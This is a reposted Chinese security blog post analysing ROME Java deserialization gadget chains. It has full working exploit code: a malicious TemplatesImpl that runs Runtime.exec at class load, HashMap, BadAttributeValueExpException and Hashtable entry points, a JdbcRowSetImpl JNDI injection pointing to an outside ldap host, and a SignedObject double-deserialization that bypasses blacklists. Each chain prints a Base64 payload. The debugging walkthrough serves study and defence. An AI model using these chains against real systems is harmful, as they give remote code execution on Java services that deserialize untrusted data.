ROME反序列化利用链

admin 2023年12月15日08:40:27评论11 views字数 11134阅读37分6秒阅读模式

前言

rome中的ToStringBean类,其构造函数为传入类和对象,分别赋值给this._beanClass和this._obj

ROME反序列化利用链


其无参toString方法会调用有参toString方法,传入的参数为this._beanClass值的类名

ROME反序列化利用链


在有参toString方法中,会先获取this._beanClass的getter方法,然后通过反射调用this._obj的getter无参方法,而TemplatesImpl的getOutputProperties方法会触发类加载导致代码执行

ROME反序列化利用链

rome中的EqualsBean类的hashCode方法会调用beanHashCode方法,而beanHashCode方法会调用this._obj.toString()方法

ROME反序列化利用链

this._obj由EqualsBean的构造函数传入,是我们可控的

ROME反序列化利用链

因为在HashMap的readobject方法中,会调用hash(key),进而调用key.hashCode(),所以我们可以利用HashMap作为入口构造反序列化链子

demo

util.java

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;

import java.io.*;
import java.lang.reflect.Field;

public class util {
public static Object getTeml() throws Exception{
// 动态构造恶意TemplatesImpl对象
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("asdasdasasd");
String cmd = "java.lang.Runtime.getRuntime().exec("calc.exe");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "Evil" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
// 获得其变量
Field name = templates.getClass().getDeclaredField("_name");
Field clazz = templates.getClass().getDeclaredField("_class");
Field factory = templates.getClass().getDeclaredField("_tfactory");
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");
// 赋予修改权限
name.setAccessible(true);
clazz.setAccessible(true);
factory.setAccessible(true);
bytecodes.setAccessible(true);
// 修改变量值
name.set(templates,"asdasd");
clazz.set(templates,null);
factory.set(templates, new TransformerFactoryImpl());
bytecodes.set(templates,targetByteCodes);
return templates;
}

public static void setFieldValue(Object o, String fieldName, Object value) throws Exception {
Field field = o.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(o,value);
}
public static byte[] serialize(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}

public static void unserialize(byte[] b) throws IOException, ClassNotFoundException {
ByteArrayInputStream bis = new ByteArrayInputStream(b);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}

rome.java

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;

public class rome {

public static void main(String[] args) throws Exception{
TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, template);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);

HashMap hashmap = new HashMap();
util.setFieldValue(hashmap,"size",2);
Class nodeC = Class.forName("java.util.HashMap$Node");
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 1);
Array.set(tbl, 0, nodeCons.newInstance(0, equalsBean, 1, null));
util.setFieldValue(hashmap,"table",tbl);

byte[] ser = util.serialize(hashmap);
String exp = Base64.getEncoder().encodeToString(ser);
System.out.println(exp);
util.unserialize(ser);
}

}

ROME反序列化利用链

调试分析

构造的HashMap

ROME反序列化利用链

在HashMap的readObject方法中会调用到putVal(hash(key), key, value, false, false)

ROME反序列化利用链

跟进hash(key),会调用key.hashCode()方法,此时key为EqualsBean对象

ROME反序列化利用链

紧接着调用到EqualsBean的beanHashCode方法,然后调用this._obj.toString()方法

ROME反序列化利用链

此处this._obj为ToStringBean

ROME反序列化利用链

进入ToStringBean.toString方法

ROME反序列化利用链

获取getter方法

ROME反序列化利用链

反射调用this._obj的getter方法,此处this._obj为恶意TemplatesImpl对象

ROME反序列化利用链

反射调用恶意TemplatesImpl对象的getOutputProperties方法,从而触发类加载导致代码执行
调用栈:

ROME反序列化利用链

其他构造方式

BadAttributeValueExpException

BadAttributeValueExpException类在反序列化时会调用toString方法

ROME反序列化利用链

valObj可控,为其构造函数传入

ROME反序列化利用链

demo

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.util.Base64;

public class rome2 {
public static void main(String[] args) throws Exception{
TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, template);
BadAttributeValueExpException b = new BadAttributeValueExpException(1);
util.setFieldValue(b,"val",toStringBean);
byte[] ser = util.serialize(b);
String exp = Base64.getEncoder().encodeToString(ser);
System.out.println(exp);
util.unserialize(ser);
}
}

ROME反序列化利用链

调用栈:

ROME反序列化利用链JdbcRowSetImpl

JdbcRowSetImpl类的getDatabaseMetaData方法会调用this.connect方法

ROME反序列化利用链

this.connect方法中会调用lookup,在dataSource可控的情况下会造成jndi注入漏洞

ROME反序列化利用链

dataSource可以通过setDataSourceName来设置

ROME反序列化利用链

demo:

import com.sun.rowset.JdbcRowSetImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.util.Base64;
import java.util.HashMap;

public class rome3 {
public static void main(String[] args) throws Exception{
JdbcRowSetImpl j = new JdbcRowSetImpl();
j.setDataSourceName("ldap://d92d14bde1.ipv6.xn--gg8h.eu.org.");
ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class, "1");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(equalsBean,1);
util.setFieldValue(toStringBean,"_obj",j);
byte[] ser = util.serialize(hashmap);
String exp = Base64.getEncoder().encodeToString(ser);
System.out.println(exp);
util.unserialize(ser);
}
}

ROME反序列化利用链

ROME反序列化利用链

SignedObject

SignedObject类的getObject方法中,会反序列化this.content,造成二次反序列化

ROME反序列化利用链

而this.content由其构造函数传入

ROME反序列化利用链

再反序列化入口有黑名单时,可以将序列化对象最为参数传入SignedObject的构造函数中,触发SignedObject的getObject方法,造成二次反序列化进行绕过
demo:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.Serializable;
import java.math.BigInteger;
import java.security.*;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.util.Base64;
import java.util.HashMap;

public class rome4 {
public static void main(String[] args) throws Exception {
TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, "template");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(equalsBean, "1");
util.setFieldValue(toStringBean,"_obj",template);

SignedObject s = makeSignedObject(hashmap);

// 二次反序列化
ToStringBean toStringBean2 = new ToStringBean(SignedObject.class, "s");
EqualsBean equalsBean2 = new EqualsBean(ToStringBean.class, toStringBean2);
HashMap hashmap2 = new HashMap();
hashmap2.put(equalsBean2, "1");
util.setFieldValue(toStringBean2,"_obj",s);

byte[] ser = util.serialize(hashmap2);
String exp = Base64.getEncoder().encodeToString(ser);
System.out.println(exp);
util.unserialize(ser);
}

private static SignedObject makeSignedObject(Object o) throws IOException, InvalidKeyException, SignatureException {
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("x") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});
}
}

ROME反序列化利用链

不依赖ToStringBean

EqualsBean的beanEquals方法中也存在getter方法的调用,但需要满足this._obj和obj都不为空,this._obj是构造函数传入的,obj是调用beanEquals方法时传入的参数,EqualsBean的equals方法调用了beanEquals方法

ROME反序列化利用链

在Hashtable的readObject方法中,会调用reconstitutionPut方法,在reconstitutionPut方法中会调用到equals方法

ROME反序列化利用链

e是由tab而来,tab中为空时,会将传入的key和value传入tab

ROME反序列化利用链

不为空时,会调用if ((e.hash == hash) && e.key.equals(key)),先进行hash判断,hash由key.hashCode而来(可hash碰撞进行绕过),HashMap的eauqls方法最终会调用到AbstractMap的equals方法,AbstractMap的equals方法中,会调用到value.equals(m.get(key))

ROME反序列化利用链

构造payload使value为equalsbean,m.get(key)为恶意对象
demo:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;

import javax.xml.transform.Templates;
import java.io.IOException;
import java.io.Serializable;
import java.math.BigInteger;
import java.security.*;
import java.security.interfaces.DSAParams;
import java.security.interfaces.DSAPrivateKey;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class rome6 {
public static void main(String[] args) throws Exception {
TemplatesImpl template = (TemplatesImpl) util.getTeml();
ToStringBean toStringBean = new ToStringBean(Templates.class, "template");
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
HashMap hashmap = new HashMap();
hashmap.put(equalsBean, "1");
util.setFieldValue(toStringBean,"_obj",template);
SignedObject s = makeSignedObject(hashmap);
SignedObject s2 = makeSignedObject(null);

// 二次反序列化
EqualsBean equalsBean2 = new EqualsBean(String.class, "1");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",equalsBean2);
map1.put("zZ",s);
map2.put("zZ",equalsBean2);
map2.put("yy",s);

Hashtable t = new Hashtable<>();
t.put(map1,"1");
t.put(map2,"2");

util.setFieldValue(equalsBean2,"_beanClass",SignedObject.class);
util.setFieldValue(equalsBean2,"_obj",s2);

byte[] ser = util.serialize(t);
String exp = Base64.getEncoder().encodeToString(ser);
System.out.println(exp);
util.unserialize(ser);

}

private static SignedObject makeSignedObject(Object o) throws IOException, InvalidKeyException, SignatureException {
return new SignedObject((Serializable) o,
new DSAPrivateKey() {
@Override
public DSAParams getParams() {
return null;
}

@Override
public String getAlgorithm() {
return null;
}

@Override
public String getFormat() {
return null;
}

@Override
public byte[] getEncoded() {
return new byte[0];
}

@Override
public BigInteger getX() {
return null;
}
},
new Signature("x") {
@Override
protected void engineInitVerify(PublicKey publicKey) throws InvalidKeyException {

}

@Override
protected void engineInitSign(PrivateKey privateKey) throws InvalidKeyException {

}

@Override
protected void engineUpdate(byte b) throws SignatureException {

}

@Override
protected void engineUpdate(byte[] b, int off, int len) throws SignatureException {

}

@Override
protected byte[] engineSign() throws SignatureException {
return new byte[0];
}

@Override
protected boolean engineVerify(byte[] sigBytes) throws SignatureException {
return false;
}

@Override
protected void engineSetParameter(String param, Object value) throws InvalidParameterException {

}

@Override
protected Object engineGetParameter(String param) throws InvalidParameterException {
return null;
}
});
}
}

ROME反序列化利用链

来源:https://xz.aliyun.com/ 感谢【yecp 

原文始发于微信公众号(衡阳信安):ROME反序列化利用链

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月15日08:40:27
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ROME反序列化利用链http://cn-sec.com/archives/2301707.html

发表评论

匿名网友 填写信息